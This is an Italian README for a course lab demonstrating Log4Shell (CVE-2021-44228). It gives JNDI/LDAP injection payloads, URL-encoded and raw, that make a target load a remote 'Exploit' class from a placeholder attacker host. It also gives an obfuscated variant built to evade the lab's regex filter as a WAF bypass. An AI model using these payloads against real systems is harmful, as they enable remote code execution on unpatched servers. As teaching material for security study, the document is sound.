
Prova di concetto per la vulnerabilità Log4Shell (CVE-2021-44228), sviluppata come parte del lavoro del corso per l'unità curricolare TPAS nel Master in Sicurezza Informatica presso FCUP.
Questa repository contiene una Prova di Concetto (PoC) per la vulnerabilità Log4Shell (CVE-2021-44228), sviluppata come parte del lavoro per l'unità curriculare TPAS del Master in Sicurezza Informatica presso FCUP.
Include:
Per eseguire questo stack è necessario:
Una volta che tutto è in esecuzione:
Inserisci questo payload nella barra di ricerca (codificato in URL poiché sarà in un parametro GET):
%24%7Bjndi%3Aldap%3A%2F%2F<attacker_host_ip>%3A<ldap_port>%2FExploit%7D
Oppure inserisci questo payload negli header di una richiesta (puoi usare Burp Suite per intercettare una richiesta e modificarla):
${jndi:ldap://<attacker_host_ip>:<ldap_port>/Exploit}
Sul sito web, c'è un'icona accanto al nome utente che permette di attivare/disattivare la sanitizzazione della stringa registrata usando l'espressione regolare \$\{jndi:.*?}. Per impostazione predefinita, la sanitizzazione è disabilitata, rappresentata da un'icona di demone rosso. Quando la sanitizzazione è abilitata, l'icona diventa una faccina sorridente verde.
Questa funzionalità può essere usata per simulare un bypass WAF; puoi aggiungere ulteriori espressioni regolari nella classe LoggerManager.java del backend.
Ecco un payload che non sarà riconosciuto dalla regex corrente:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<attacker_host_ip>:<ldap_port>/Exploit}